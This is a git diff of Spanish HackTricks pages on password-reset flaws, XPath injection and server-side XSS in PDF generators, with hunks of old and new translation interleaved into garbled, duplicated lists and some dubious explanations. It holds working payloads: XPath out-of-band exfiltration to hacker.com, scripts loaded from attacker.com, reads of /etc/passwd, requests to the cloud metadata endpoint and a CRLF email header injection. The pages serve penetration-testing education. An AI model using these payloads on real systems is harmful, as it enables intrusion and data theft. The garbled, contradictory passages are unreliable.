- **Falta de límites en los intentos de restablecimiento**: La falta de límites en los intentos de restablecimiento de contraseña puede permitir a un atacante realizar ataques de fuerza bruta sin restricciones.
|
||||
1. **Fuerza bruta**: Verificar si existe alguna protección contra ataques de fuerza bruta en el formulario de restablecimiento de contraseña. Esto implica intentar adivinar múltiples contraseñas hasta encontrar la correcta.
|
||||
|
||||
## Explotación de debilidades
|
||||
2. **Preguntas de seguridad débiles**: Revisar si las preguntas de seguridad utilizadas para restablecer la contraseña son fáciles de adivinar o están disponibles públicamente.
|
||||
|
||||
Una vez identificadas las debilidades en el proceso de restablecimiento de contraseña, se pueden explotar de varias formas:
|
||||
3. **Enlaces de restablecimiento de contraseña**: Verificar si los enlaces de restablecimiento de contraseña son predecibles o si contienen información sensible en la URL.
|
||||
|
||||
- **Ataques de fuerza bruta**: Se pueden utilizar herramientas automatizadas para realizar ataques de fuerza bruta y adivinar contraseñas débiles o predecibles.
|
||||
- **Suplantación de identidad**: Si se pueden obtener respuestas a las preguntas de seguridad o interceptar enlaces de restablecimiento de contraseña, se puede suplantar la identidad del usuario legítimo y restablecer su contraseña.
|
||||
- **Ataques de interceptación**: Si los enlaces de restablecimiento de contraseña no están protegidos adecuadamente, se pueden interceptar y utilizar para restablecer la contraseña de un usuario legítimo.
|
||||
4. **Exposición de información sensible**: Comprobar si se muestra información sensible, como el nombre de usuario o la dirección de correo electrónico, durante el proceso de restablecimiento de contraseña.
|
||||
|
||||
## Explotación de vulnerabilidades
|
||||
|
||||
Una vez identificadas las posibles vulnerabilidades, se procede a la fase de explotación. Algunas técnicas comunes utilizadas durante esta fase incluyen:
|
||||
|
||||
1. **Ataques de fuerza bruta**: Intentar adivinar la contraseña utilizando un programa automatizado que pruebe múltiples combinaciones hasta encontrar la correcta.
|
||||
|
||||
2. **Suplantación de identidad**: Hacerse pasar por el usuario legítimo y solicitar el restablecimiento de contraseña en su nombre.
|
||||
|
||||
3. **Manipulación de URL**: Modificar los enlaces de restablecimiento de contraseña para obtener acceso no autorizado a la cuenta del usuario.
|
||||
|
||||
4. **Explotación de preguntas de seguridad débiles**: Adivinar las respuestas a las preguntas de seguridad utilizando información pública o técnicas de ingeniería social.
|
||||
|
||||
## Recomendaciones de seguridad
|
||||
|
||||
Para proteger el proceso de restablecimiento de contraseña, se recomienda seguir estas mejores prácticas:
|
||||
Para proteger el proceso de restablecimiento de contraseña, se recomienda seguir las siguientes prácticas de seguridad:
|
||||
|
||||
- **Implementar medidas de protección contra ataques de fuerza bruta**: Esto puede incluir la implementación de bloqueos temporales después de varios intentos fallidos de restablecimiento de contraseña.
|
||||
- **Utilizar preguntas de seguridad fuertes**: Las preguntas de seguridad deben ser difíciles de adivinar y no estar relacionadas con información fácilmente accesible.
|
||||
- **Proteger los enlaces de restablecimiento de contraseña**: Los enlaces de restablecimiento de contraseña deben ser únicos, de un solo uso y estar protegidos mediante cifrado o tokens de seguridad.
|
||||
- **Limitar los intentos de restablecimiento**: Se deben establecer límites en los intentos de restablecimiento de contraseña para evitar ataques de fuerza bruta.
|
||||
1. **Implementar protección contra ataques de fuerza bruta**: Limitar el número de intentos de restablecimiento de contraseña y bloquear temporalmente las cuentas después de varios intentos fallidos.
|
||||
|
||||
Al seguir estas recomendaciones, se puede fortalecer la seguridad del proceso de restablecimiento de contraseña y proteger la información confidencial de los usuarios.
|
||||
2. **Utilizar preguntas de seguridad fuertes**: Utilizar preguntas de seguridad que no sean fáciles de adivinar y que solo el usuario legítimo pueda responder.
|
||||
|
||||
3. **Generar enlaces de restablecimiento de contraseña seguros**: Utilizar tokens aleatorios y únicos en los enlaces de restablecimiento de contraseña para evitar la predicción o manipulación de los mismos.
|
||||
|
||||
4. **Evitar la exposición de información sensible**: No mostrar información sensible durante el proceso de restablecimiento de contraseña, como el nombre de usuario o la dirección de correo electrónico.
|
||||
|
||||
Al seguir estas recomendaciones, se puede fortalecer la seguridad del proceso de restablecimiento de contraseña y proteger la privacidad de los usuarios.
|
||||
```php
|
||||
HTTP/1.1 200 OK
|
||||
(“message”:”success”,”statusCode:200,”errorDescription”:”Success”)
|
||||
|
@ -308,7 +318,7 @@ email=victim@email.com&code=$YOUR_TOKEN$
|
|||
|
||||
* https://twitter.com/HusseiN98D/status/1254888748216655872/photo/1
|
||||
|
||||
## Invalidación de sesión en cierre de sesión/restablecimiento de contraseña
|
||||
## Invalidación de sesión en Cierre de sesión/Restablecimiento de contraseña
|
||||
|
||||
Cuando un usuario cierra sesión o restablece su contraseña, la sesión actual debe ser invalidada.\
|
||||
Por lo tanto, **captura las cookies** mientras el usuario está conectado, **cierra sesión** y **verifica** si las **cookies** siguen siendo **válidas**.\
|
||||
|
@ -322,12 +332,12 @@ Los **tokens de restablecimiento deben tener un tiempo de expiración**, despué
|
|||
|
||||
* Utiliza username@burp\_collab.net y analiza la devolución de llamada
|
||||
* Usuario con copia oculta de correo electrónico=victim@mail.com%0a%0dcc:hacker@mail.com
|
||||
* Una contraseña larga (>200) provoca una denegación de servicio (DoS)
|
||||
* Contraseña larga (>200) provoca una denegación de servicio (DoS)
|
||||
* Agrega un segundo parámetro y valor de correo electrónico
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProof es el hogar de todas las recompensas por errores de criptografía.**
|
||||
**HackenProof es el hogar de todas las recompensas por errores de cifrado.**
|
||||
|
||||
**Obtén recompensas sin demoras**\
|
||||
Las recompensas de HackenProof se lanzan solo cuando sus clientes depositan el presupuesto de recompensa. Obtendrás la recompensa después de que se verifique el error.
|
||||
|
@ -338,7 +348,7 @@ Las recompensas de HackenProof se lanzan solo cuando sus clientes depositan el p
|
|||
**Conviértete en la leyenda del hacker web3**\
|
||||
Gana puntos de reputación con cada error verificado y conquista la cima de la clasificación semanal.
|
||||
|
||||
[**Regístrate en HackenProof**](https://hackenproof.com/register) y comienza a ganar con tus hacks!
|
||||
[**Regístrate en HackenProof**](https://hackenproof.com/register) ¡comienza a ganar con tus hacks!
|
||||
|
||||
{% embed url="https://hackenproof.com/register" %}
|
||||
|
||||
|
|
|
@ -12,7 +12,7 @@
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProof es el hogar de todas las recompensas por errores de criptografía.**
|
||||
|
||||
|
@ -31,7 +31,7 @@ Gana puntos de reputación con cada error verificado y conquista la cima de la c
|
|||
|
||||
## **Sintaxis básica**
|
||||
|
||||
La inyección de XPATH es una técnica de ataque utilizada para explotar aplicaciones que construyen consultas XPath (Lenguaje de Ruta XML) a partir de la entrada proporcionada por el usuario para consultar o navegar por documentos XML.
|
||||
La inyección de XPATH es una técnica de ataque utilizada para explotar aplicaciones que construyen consultas XPath (XML Path Language) a partir de la entrada proporcionada por el usuario para consultar o navegar por documentos XML.
|
||||
|
||||
Información sobre cómo hacer consultas: [https://www.w3schools.com/xml/xpath\_syntax.asp](https://www.w3schools.com/xml/xpath\_syntax.asp)
|
||||
|
||||
|
@ -39,7 +39,7 @@ Información sobre cómo hacer consultas: [https://www.w3schools.com/xml/xpath\_
|
|||
|
||||
| Expresión | Descripción |
|
||||
| ---------- | ----------------------------------------------------------------------------------------------------- |
|
||||
| nodonombre | Selecciona todos los nodos con el nombre "nodonombre" |
|
||||
| nodename | Selecciona todos los nodos con el nombre "nodename" |
|
||||
| / | Selecciona desde el nodo raíz |
|
||||
| // | Selecciona nodos en el documento desde el nodo actual que coinciden con la selección sin importar dónde se encuentren |
|
||||
| . | Selecciona el nodo actual |
|
||||
|
@ -50,25 +50,25 @@ Información sobre cómo hacer consultas: [https://www.w3schools.com/xml/xpath\_
|
|||
|
||||
| Expresión de ruta | Resultado |
|
||||
| --------------- | -------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| librería | Selecciona todos los nodos con el nombre "librería" |
|
||||
| /librería | Selecciona el elemento raíz librería**Nota:** Si la ruta comienza con una barra diagonal (/), siempre representa una ruta absoluta a un elemento! |
|
||||
| librería/libro | Selecciona todos los elementos libro que son hijos de librería |
|
||||
| //libro | Selecciona todos los elementos libro sin importar dónde se encuentren en el documento |
|
||||
| librería//libro | Selecciona todos los elementos libro que son descendientes del elemento librería, sin importar dónde se encuentren bajo el elemento librería |
|
||||
| bookstore | Selecciona todos los nodos con el nombre "bookstore" |
|
||||
| /bookstore | Selecciona el elemento raíz bookstore**Nota:** Si la ruta comienza con una barra diagonal (/), siempre representa una ruta absoluta a un elemento! |
|
||||
| bookstore/book | Selecciona todos los elementos book que son hijos de bookstore |
|
||||
| //book | Selecciona todos los elementos book sin importar dónde se encuentren en el documento |
|
||||
| bookstore//book | Selecciona todos los elementos book que son descendientes del elemento bookstore, sin importar dónde se encuentren bajo el elemento bookstore |
|
||||
| //@lang | Selecciona todos los atributos que se llaman lang |
|
||||
|
||||
### Predicados
|
||||
|
||||
| Expresión de ruta | Resultado |
|
||||
| ----------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| /librería/libro\[1] | <p>Selecciona el primer elemento libro que es hijo del elemento librería.<strong>Nota:</strong> En IE 5,6,7,8,9 el primer nodo es[0], pero según W3C, es [1]. Para solucionar este problema en IE, establece SelectionLanguage en XPath:</p><p>En JavaScript: xml.setProperty("SelectionLanguage","XPath");</p> |
|
||||
| /librería/libro\[last()] | Selecciona el último elemento libro que es hijo del elemento librería |
|
||||
| /librería/libro\[last()-1] | Selecciona el penúltimo elemento libro que es hijo del elemento librería |
|
||||
| /librería/libro\[position()<3] | Selecciona los dos primeros elementos libro que son hijos del elemento librería |
|
||||
| //título\[@lang] | Selecciona todos los elementos título que tienen un atributo llamado lang |
|
||||
| //título\[@lang='en'] | Selecciona todos los elementos título que tienen un atributo "lang" con un valor de "en" |
|
||||
| /librería/libro\[precio>35.00] | Selecciona todos los elementos libro del elemento librería que tienen un elemento precio con un valor mayor a 35.00 |
|
||||
| /librería/libro\[precio>35.00]/título | Selecciona todos los elementos título de los elementos libro del elemento librería que tienen un elemento precio con un valor mayor a 35.00 |
|
||||
| /bookstore/book\[1] | <p>Selecciona el primer elemento book que es hijo del elemento bookstore.<strong>Nota:</strong> En IE 5,6,7,8,9 el primer nodo es[0], pero según W3C, es [1]. Para solucionar este problema en IE, establece SelectionLanguage en XPath:</p><p>En JavaScript: xml.setProperty("SelectionLanguage","XPath");</p> |
|
||||
| /bookstore/book\[last()] | Selecciona el último elemento book que es hijo del elemento bookstore |
|
||||
| /bookstore/book\[last()-1] | Selecciona el penúltimo elemento book que es hijo del elemento bookstore |
|
||||
| /bookstore/book\[position()<3] | Selecciona los dos primeros elementos book que son hijos del elemento bookstore |
|
||||
| //title\[@lang] | Selecciona todos los elementos title que tienen un atributo llamado lang |
|
||||
| //title\[@lang='en'] | Selecciona todos los elementos title que tienen un atributo "lang" con un valor de "en" |
|
||||
| /bookstore/book\[price>35.00] | Selecciona todos los elementos book del elemento bookstore que tienen un elemento price con un valor mayor que 35.00 |
|
||||
| /bookstore/book\[price>35.00]/title | Selecciona todos los elementos title de los elementos book del elemento bookstore que tienen un elemento price con un valor mayor que 35.00 |
|
||||
|
||||
### Nodos desconocidos
|
||||
|
||||
|
@ -85,7 +85,7 @@ Información sobre cómo hacer consultas: [https://www.w3schools.com/xml/xpath\_
|
|||
| //\* | Selecciona todos los elementos en el documento |
|
||||
| //titulo\[@\*] | Selecciona todos los elementos de título que tienen al menos un atributo de cualquier tipo |
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProof es el hogar de todas las recompensas por errores de criptografía.**
|
||||
|
||||
|
@ -129,27 +129,27 @@ XPath Injection is a technique used to exploit vulnerabilities in web applicatio
|
|||
|
||||
To access the information, an attacker needs to identify a vulnerable input field that is used in an XPath query. This can typically be found in search forms, login pages, or any other input field that is used to retrieve data from an XML source.
|
||||
|
||||
Once a vulnerable input field is identified, the attacker can start injecting malicious XPath expressions. These expressions are used to modify the original XPath query and retrieve specific data from the XML source.
|
||||
Once a vulnerable input field is identified, the attacker can start injecting malicious XPath expressions. These expressions are used to modify the original XPath query and retrieve additional information that is not intended to be accessed.
|
||||
|
||||
For example, consider a search form that uses XPath to query an XML database of user profiles. The XPath query may look like this:
|
||||
For example, consider a search form that queries an XML database for books. The XPath query may look like this:
|
||||
|
||||
```xml
|
||||
//users/user[name='John']
|
||||
//book[title='search_term']
|
||||
```
|
||||
|
||||
By injecting a malicious XPath expression, an attacker can modify the query to retrieve all user profiles instead of just John's profile:
|
||||
By injecting a malicious XPath expression, an attacker can modify the query to retrieve all books instead of just the ones matching the search term:
|
||||
|
||||
```xml
|
||||
//users/user
|
||||
//book[title='search_term' or 1=1]
|
||||
```
|
||||
|
||||
This allows the attacker to access sensitive information such as usernames, passwords, and other personal data stored in the XML database.
|
||||
This will return all books in the database, effectively bypassing any authentication or authorization mechanisms that may be in place.
|
||||
|
||||
To prevent XPath Injection attacks, it is important to properly validate and sanitize user input before using it in XPath queries. Input validation should include checking for special characters and ensuring that the input conforms to the expected format.
|
||||
|
||||
Additionally, using parameterized XPath queries can help mitigate XPath Injection attacks. Parameterized queries separate the query logic from the user input, making it more difficult for an attacker to manipulate the XPath query.
|
||||
Additionally, using parameterized XPath queries can help mitigate XPath Injection attacks. Parameterized queries separate the query logic from the user input, making it harder for an attacker to manipulate the query.
|
||||
|
||||
By understanding and implementing proper security measures, web applications can protect against XPath Injection attacks and ensure the confidentiality of sensitive information.
|
||||
By understanding and exploiting XPath Injection vulnerabilities, an attacker can gain unauthorized access to sensitive information and potentially compromise the security of a web application. It is therefore crucial for developers and security professionals to be aware of this technique and take appropriate measures to prevent it.
|
||||
```
|
||||
All names - [pepe, mark, fino]
|
||||
name
|
||||
|
@ -247,34 +247,30 @@ Null injection is a technique used to exploit vulnerabilities in web application
|
|||
|
||||
La inyección de nulos es una técnica utilizada para explotar vulnerabilidades en aplicaciones web que utilizan consultas XPath para recuperar datos de documentos XML. XPath es un lenguaje utilizado para navegar y consultar datos XML.
|
||||
|
||||
XPath queries are often used to dynamically construct XML queries based on user input. However, if the application does not properly sanitize or validate user input, an attacker can manipulate the XPath query to inject malicious code.
|
||||
XPath queries are often used to extract specific data from XML documents based on certain conditions. However, if the application does not properly sanitize user input, an attacker can manipulate the XPath query to inject malicious code.
|
||||
|
||||
Las consultas XPath se utilizan a menudo para construir dinámicamente consultas XML basadas en la entrada del usuario. Sin embargo, si la aplicación no sanitiza o valida correctamente la entrada del usuario, un atacante puede manipular la consulta XPath para inyectar código malicioso.
|
||||
Las consultas XPath se utilizan a menudo para extraer datos específicos de documentos XML basados en ciertas condiciones. Sin embargo, si la aplicación no sanitiza correctamente la entrada del usuario, un atacante puede manipular la consulta XPath para inyectar código malicioso.
|
||||
|
||||
One common way to abuse null injection is by injecting a single quote (') character into the user input. This can cause the XPath query to break and potentially reveal sensitive information or allow for further exploitation.
|
||||
One common way to abuse null injection is by injecting a single quote (') character into the XPath query. This can cause the query to break and potentially reveal sensitive information or even allow for remote code execution.
|
||||
|
||||
Una forma común de abusar de la inyección de nulos es inyectar un solo carácter de comilla simple (') en la entrada del usuario. Esto puede hacer que la consulta XPath falle y potencialmente revele información sensible o permita una mayor explotación.
|
||||
Una forma común de abusar de la inyección de nulos es inyectar un solo carácter de comilla simple (') en la consulta XPath. Esto puede hacer que la consulta falle y potencialmente revele información sensible o incluso permita la ejecución remota de código.
|
||||
|
||||
For example, consider the following vulnerable XPath query:
|
||||
|
||||
Por ejemplo, considera la siguiente consulta XPath vulnerable:
|
||||
|
||||
```xml
|
||||
//users/user[name='{{user_input}}']/password
|
||||
```xpath
|
||||
//users/user[name='admin' and password='admin']
|
||||
```
|
||||
|
||||
If the user input is not properly sanitized and an attacker injects a single quote character, the resulting XPath query would be:
|
||||
If an attacker injects a single quote character after the `admin` value, the query would break and potentially leak information:
|
||||
|
||||
Si la entrada del usuario no se sanitiza correctamente y un atacante inyecta un carácter de comilla simple, la consulta XPath resultante sería:
|
||||
Si un atacante inyecta un carácter de comilla simple después del valor `admin`, la consulta fallaría y potencialmente podría filtrar información:
|
||||
|
||||
```xml
|
||||
//users/user[name='']/password
|
||||
```xpath
|
||||
//users/user[name='admin''] and password='admin']
|
||||
```
|
||||
|
||||
This modified query would retrieve the password of an empty username, potentially leaking sensitive information.
|
||||
|
||||
Esta consulta modificada recuperaría la contraseña de un nombre de usuario vacío, potencialmente filtrando información sensible.
|
||||
|
||||
To prevent null injection attacks, it is important to properly sanitize and validate user input before using it in XPath queries. This can be done by using parameterized queries or input validation techniques.
|
||||
|
||||
Para prevenir ataques de inyección de nulos, es importante sanitizar y validar correctamente la entrada del usuario antes de utilizarla en consultas XPath. Esto se puede hacer utilizando consultas parametrizadas o técnicas de validación de entrada.
|
||||
|
@ -411,23 +407,31 @@ Out-of-Band (OOB) exploitation, also known as blind XPath injection, is a techni
|
|||
|
||||
To exploit an OOB vulnerability, an attacker injects malicious XPath queries into user-controlled input fields, such as search boxes or form inputs. These queries are designed to extract sensitive information from the application's database.
|
||||
|
||||
The attacker can then observe the application's behavior to determine if the injected query was successful. This can be done by monitoring the external server for incoming requests or by triggering specific actions within the application that result in different responses.
|
||||
The attacker can then observe the application's behavior to determine if the injected query was successful. This can be done by monitoring the external server for incoming requests or by using a time-based technique, where the application's response time indicates whether the query was successful or not.
|
||||
|
||||
### Techniques for OOB exploitation
|
||||
### Example of OOB exploitation
|
||||
|
||||
There are several techniques that can be used to exploit OOB vulnerabilities:
|
||||
Let's consider a vulnerable web application that uses user input to construct an XPath query to retrieve data from a database. The application takes a user's search query and constructs an XPath query like this:
|
||||
|
||||
1. **Blind OOB exploitation**: In this technique, the attacker injects XPath queries that cause the application to make requests to an external server controlled by the attacker. The attacker can then analyze the incoming requests to extract sensitive information.
|
||||
```xml
|
||||
//user[name/text()='search_query']
|
||||
```
|
||||
|
||||
2. **Time-based exploitation**: This technique involves injecting XPath queries that cause the application to delay its response. By measuring the time it takes for the application to respond, the attacker can infer whether the injected query was successful or not.
|
||||
An attacker can exploit this vulnerability by injecting a malicious search query that includes an OOB payload. For example:
|
||||
|
||||
3. **Error-based exploitation**: In this technique, the attacker injects XPath queries that intentionally cause the application to generate errors. The error messages returned by the application can contain valuable information that can be used to extract data.
|
||||
```xml
|
||||
search_query = ' or 1=1 or name/text()='A' or count(/child::node())=10 or 'A'='A
|
||||
```
|
||||
|
||||
This query will retrieve all records from the database, as the condition `1=1` is always true. The OOB payload `count(/child::node())=10` will trigger an external request to the attacker's server, allowing them to extract the data.
|
||||
|
||||
### Mitigating OOB vulnerabilities
|
||||
|
||||
To mitigate OOB vulnerabilities, it is important to follow secure coding practices and implement input validation and sanitization techniques. Additionally, web application firewalls (WAFs) can be used to detect and block malicious requests.
|
||||
To mitigate OOB vulnerabilities, it is important to properly validate and sanitize user input before using it in XPath queries. Input validation should include checking for malicious characters and limiting the length of input fields.
|
||||
|
||||
Regular security assessments, such as penetration testing, can also help identify and address OOB vulnerabilities before they can be exploited by attackers.
|
||||
Additionally, it is recommended to use parameterized queries or prepared statements to construct XPath queries, as these methods automatically handle input sanitization and prevent injection attacks.
|
||||
|
||||
By implementing these security measures, web applications can significantly reduce the risk of OOB exploitation and protect sensitive data from being extracted.
|
||||
```python
|
||||
doc(concat("http://hacker.com/oob/", RESULTS))
|
||||
doc(concat("http://hacker.com/oob/", /Employees/Employee[1]/username))
|
||||
|
@ -446,7 +450,7 @@ doc-available(concat("http://hacker.com/oob/", RESULTS))
|
|||
|
||||
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20injection" %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProof es el hogar de todas las recompensas por errores de criptografía.**
|
||||
|
||||
|
|
|
@ -1,14 +1,34 @@
|
|||
# XSS en el lado del servidor (PDF dinámico)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## XSS en el lado del servidor (PDF dinámico)
|
||||
|
||||
Si una página web está creando un PDF utilizando una entrada controlada por el usuario, puedes intentar **engañar al bot** que está creando el PDF para que **ejecute código JS arbitrario**.
|
||||
Si una página web está creando un PDF utilizando una entrada controlada por el usuario, puedes intentar **engañar al bot** que está creando el PDF para que **ejecute código JS arbitrario**.\
|
||||
Entonces, si el **bot creador de PDF encuentra** algún tipo de **etiquetas HTML**, las va a **interpretar**, y puedes **abusar** de este comportamiento para causar un **XSS en el lado del servidor**.
|
||||
|
||||
Por lo tanto, si el **bot creador de PDF encuentra** algún tipo de **etiquetas HTML**, las va a **interpretar**, y puedes **abusar** de este comportamiento para causar un **XSS en el lado del servidor**.
|
||||
Por favor, ten en cuenta que las etiquetas `<script></script>` no siempre funcionan, por lo que necesitarás un método diferente para ejecutar JS (por ejemplo, abusando de `<img` ).\
|
||||
Además, ten en cuenta que en una explotación regular podrás **ver/descargar el PDF creado**, por lo que podrás ver todo lo que **escribas a través de JS** (usando `document.write()` por ejemplo). Pero, si **no puedes ver** el PDF creado, probablemente necesitarás **extraer la información haciendo solicitudes web hacia ti** (Blind).
|
||||
|
||||
Ten en cuenta que las etiquetas `<script></script>` no siempre funcionan, por lo que necesitarás un método diferente para ejecutar JS (por ejemplo, abusando de `<img>`).
|
||||
### Generación de PDF populares
|
||||
|
||||
Además, ten en cuenta que en una explotación regular podrás **ver/descargar el PDF creado**, por lo que podrás ver todo lo que escribas a través de JS (usando `document.write()` por ejemplo). Pero, si **no puedes ver** el PDF creado, probablemente necesitarás **extraer la información haciendo solicitudes web a ti** (Ciego).
|
||||
* **wkhtmltopdf**: _Esta es una herramienta de línea de comandos de código abierto que utiliza el motor de renderizado WebKit para convertir HTML y CSS en documentos PDF._
|
||||
* **TCPDF**_: Una biblioteca de PHP para generar documentos PDF que admite una amplia gama de características, incluyendo imágenes, gráficos y cifrado._
|
||||
* **PDFKit :** _Una biblioteca de Node.js que se puede utilizar para generar documentos PDF a partir de HTML y CSS._
|
||||
* **iText**: _Una biblioteca basada en Java para generar documentos PDF que admite una variedad de características, incluyendo firmas digitales y relleno de formularios._
|
||||
* **FPDF**_: Una biblioteca de PHP para generar documentos PDF que es ligera y fácil de usar._
|
||||
|
||||
## Cargas útiles
|
||||
## Payloads
|
||||
|
||||
### Descubrimiento
|
||||
```markup
|
||||
|
@ -25,29 +45,29 @@ Además, ten en cuenta que en una explotación regular podrás **ver/descargar e
|
|||
```
|
||||
### SVG
|
||||
|
||||
Cualquiera de los payloads anteriores o siguientes pueden ser utilizados dentro de este payload SVG. Se ponen como ejemplos un iframe accediendo a un subdominio de Burpcollab y otro accediendo al endpoint de metadatos.
|
||||
Cualquiera de los siguientes payloads anteriores puede ser utilizado dentro de este payload SVG. Se colocan como ejemplos un iframe que accede a un subdominio de Burpcollab y otro que accede al endpoint de metadatos.
|
||||
```markup
|
||||
<svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" class="root" width="800" height="500">
|
||||
<g>
|
||||
<foreignObject width="800" height="500">
|
||||
<body xmlns="http://www.w3.org/1999/xhtml">
|
||||
<iframe src="http://redacted.burpcollaborator.net" width="800" height="500"></iframe>
|
||||
<iframe src="http://169.254.169.254/latest/meta-data/" width="800" height="500"></iframe>
|
||||
</body>
|
||||
</foreignObject>
|
||||
</g>
|
||||
<g>
|
||||
<foreignObject width="800" height="500">
|
||||
<body xmlns="http://www.w3.org/1999/xhtml">
|
||||
<iframe src="http://redacted.burpcollaborator.net" width="800" height="500"></iframe>
|
||||
<iframe src="http://169.254.169.254/latest/meta-data/" width="800" height="500"></iframe>
|
||||
</body>
|
||||
</foreignObject>
|
||||
</g>
|
||||
</svg>
|
||||
|
||||
|
||||
<svg width="100%" height="100%" viewBox="0 0 100 100"
|
||||
xmlns="http://www.w3.org/2000/svg">
|
||||
<circle cx="50" cy="50" r="45" fill="green"
|
||||
id="foo"/>
|
||||
<script type="text/javascript">
|
||||
// <![CDATA[
|
||||
alert(1);
|
||||
// ]]>
|
||||
</script>
|
||||
xmlns="http://www.w3.org/2000/svg">
|
||||
<circle cx="50" cy="50" r="45" fill="green"
|
||||
id="foo"/>
|
||||
<script type="text/javascript">
|
||||
// <![CDATA[
|
||||
alert(1);
|
||||
// ]]>
|
||||
</script>
|
||||
</svg>
|
||||
```
|
||||
Puedes encontrar muchos **otros payloads SVG** en [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
|
||||
|
@ -61,12 +81,18 @@ if not, you will at least have wich path the bot is accessing -->
|
|||
```
|
||||
### Cargar un script externo
|
||||
|
||||
La forma más adecuada de explotar esta vulnerabilidad es abusar de ella para hacer que el bot cargue un script que controlas localmente. Luego, podrás cambiar el payload localmente y hacer que el bot lo cargue con el mismo código cada vez.
|
||||
La mejor manera de aprovechar esta vulnerabilidad es abusar de ella para hacer que el bot cargue un script que controlas localmente. Luego, podrás cambiar el payload localmente y hacer que el bot lo cargue con el mismo código cada vez.
|
||||
```markup
|
||||
<script src="http://attacker.com/myscripts.js"></script>
|
||||
<img src="xasdasdasd" onerror="document.write('<script src="https://attacker.com/test.js"></script>')"/>
|
||||
```
|
||||
### Leer archivo local
|
||||
### Leer archivo local / SSRF
|
||||
|
||||
{% hint style="warning" %}
|
||||
Cambia `file:///etc/passwd` por `http://169.254.169.254/latest/user-data` por ejemplo para **intentar acceder a una página web externa (SSRF)**.
|
||||
|
||||
Si se permite SSRF, pero **no puedes acceder** a un dominio o IP interesante, [consulta esta página para posibles bypass](../ssrf-server-side-request-forgery/url-format-bypass.md).
|
||||
{% endhint %}
|
||||
```markup
|
||||
<script>
|
||||
x=new XMLHttpRequest;
|
||||
|
@ -77,11 +103,11 @@ x.open("GET","file:///etc/passwd");x.send();
|
|||
|
||||
```markup
|
||||
<script>
|
||||
xhzeem = new XMLHttpRequest();
|
||||
xhzeem.onload = function(){document.write(this.responseText);}
|
||||
xhzeem.onerror = function(){document.write('failed!')}
|
||||
xhzeem.open("GET","file:///etc/passwd");
|
||||
xhzeem.send();
|
||||
xhzeem = new XMLHttpRequest();
|
||||
xhzeem.onload = function(){document.write(this.responseText);}
|
||||
xhzeem.onerror = function(){document.write('failed!')}
|
||||
xhzeem.open("GET","file:///etc/passwd");
|
||||
xhzeem.send();
|
||||
</script>
|
||||
```
|
||||
|
||||
|
@ -91,73 +117,84 @@ x.open("GET","file:///etc/passwd");x.send();
|
|||
<link rel=attachment href="file:///root/secret.txt">
|
||||
<object data="file:///etc/passwd">
|
||||
<portal src="file:///etc/passwd" id=portal>
|
||||
<embed src="file:///etc/passwd>" width="400" height="400">
|
||||
<style><iframe src="file:///etc/passwd">
|
||||
<img src='x' onerror='document.write('<iframe src=file:///etc/passwd></iframe>')'/>&text=&width=500&height=500
|
||||
<meta http-equiv="refresh" content="0;url=file:///etc/passwd" />
|
||||
```
|
||||
|
||||
```markup
|
||||
<annotation file="/etc/passwd" content="/etc/passwd" icon="Graph" title="Attached File: /etc/passwd" pos-x="195" />
|
||||
```
|
||||
### Obtener la respuesta de una página web externa como archivo adjunto (puntos finales de metadatos)
|
||||
|
||||
En algunos casos, es posible que se necesite obtener la respuesta de una página web externa como un archivo adjunto. Esto se puede lograr utilizando los puntos finales de metadatos.
|
||||
|
||||
Para hacer esto, se puede utilizar una solicitud POST para enviar una carga útil que incluya la URL de la página web externa y el tipo de archivo deseado (por ejemplo, PDF). A continuación, se puede utilizar una solicitud GET para descargar el archivo adjunto que contiene la respuesta de la página web externa.
|
||||
|
||||
